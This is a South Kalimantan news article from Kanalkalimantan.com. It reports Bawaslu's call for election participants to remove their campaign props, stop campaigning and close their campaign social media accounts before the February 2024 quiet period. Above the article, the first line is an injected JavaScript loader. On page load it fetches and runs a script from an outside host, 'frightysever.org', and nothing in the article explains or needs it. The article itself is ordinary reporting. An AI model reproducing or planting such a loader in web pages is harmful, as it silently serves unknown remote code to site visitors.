(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemilu 2024

Besok 11 Februari Masuk Masa Tenang, Bawaslu Kalsel Minta APK Dilepas Sendiri


KANALKALIMANTAN.COM, BANJARMASIN – Menjelang masa tenang Pemilu 2024 yang akan dimulai Minggu (11/2/2024) besok, Badan Pengawas Pemilu (Bawaslu) Provinsi Kalimantan mengeluarkan imbauan kepada seluruh peserta Pemilu.

Anggota Bawaslu Kalsel, Thessa Aji Budiono menyebutkan, isi imbauan pada meminta kepada peserta Pemilu agar tidak melakukan aktifitas kampanye dengan metode apapun sebagaimana yang diatur dalam Undang-Undang Nomor 7 Tahun 2017 pasal 1 angka 36 bahwa masa tenang adalah masa yang tidak dapat digunakan untuk melakukan aktifitas kampanye Pemilu.

Baca juga: Sita Aset dan Buru Fredy Pratama, Polri Tunggu Putusan Sidang Ayahnya di Banjarmasin

Simpang empat Handil Bakti Kabupaten Barito Kuala yang masih terdapat Alat Peraga Kampanye (APK) sejumlah peserta Pemilu, Sabtu (10/2/2024) siang. Foto: rizki

“Jajaran Bawaslu Provinsi dan Bawaslu Kabupaten Kota se Kalsel sudah menyampaikan surat himbauan masa tenang kepada peserta Pemilu sesuai tingkatannya,” kata Thessa, Sabtu (10/2/2024).

Imbauan diantaranya berisi perintah untuk melepas seluruh Alat Peraga Kampanye (APK) dan tidak melakukan aktivasi kampanye selama masa tenang dari tanggal 11-13 Februari 2024.

Bagi APK peserta Pemilu yang masih terpasang di pinggir jalan atau di tempat lain kata Thessa, diimbau untuk segera dilepas secara mandiri sebelum masuk masa tenang.

Baca juga: Petugas KPPS Jemput Bola ke Mapolres, Begini Teknis Pencoblosan Warga Tahanan

“Paling lambat hari ini 10 Februari 2024 pukul 23.59 Wita seyogyanya APK sudah dilepas atau ditertibkan secara mandiri oleh peserta Pemilu,” ujarnya.

Apabila APK belum dibersihkan pada saat telah masuk masa tenang, maka akan dilakukan penertiban oleh petugas sebagimana ketentuan pasal 36 ayat 9 Peraturan KPU Nomor 15 Tahun 2023 tentang Kampanye Pemilihan Umum.

“Penertiban APK dimaksud tidak dapat dituntut untuk dikembalikan kepada peserta Pemilu yang bersangkutan,” katanya.

Kordiv Pencegahan, Parmad, dan Humas Bawaslu Kalsel ini menegaskan, selama masa tenang peserta Pemilu dilarang menyiarkan berita, iklan, rekam jejak peserta Pemilu, atau bentuk lainnya yang mengarah kepada kampanye.

Masih dalam poin imbauan Bawaslu Kalsel kata Thessa, peserta Pemilu diimbau untuk melakukan penutupan akun media sosial (medsos) yang sebelumnya didaftarkan ke KPU.

Baca juga: Ini Alasan Klenteng Soetji Nurani Banjarmasin Tak Gelar Atraksi Barongsai

Kemudian selama masa tenang, peserta ataupun tim kampanye Pemilu dilarang menjanjikan atau memberikan imbalan berupa uang, barang atau jasa, serta benda hidup atau mati yang dapat dinilai dengan uang kepada pemilih. Untuk hal ini, ada konsekuensi hukum berupa pidana Pemilu bagi yang melanggaranya. (Kanalkalimantan.com/rizki) 

Reporter: rizki

Editor: bie


Muhammad Andi

Recent Posts

Sempat Sengat Pelajar Madrasah, Sarang Tawon Dalam Kelas Dievakuasi Damkar HSU

KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More

3 jam ago

Peningkatan Kapasitas Anggota BPD, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More

3 jam ago

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

5 jam ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

8 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

9 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

10 jam ago

This website uses cookies.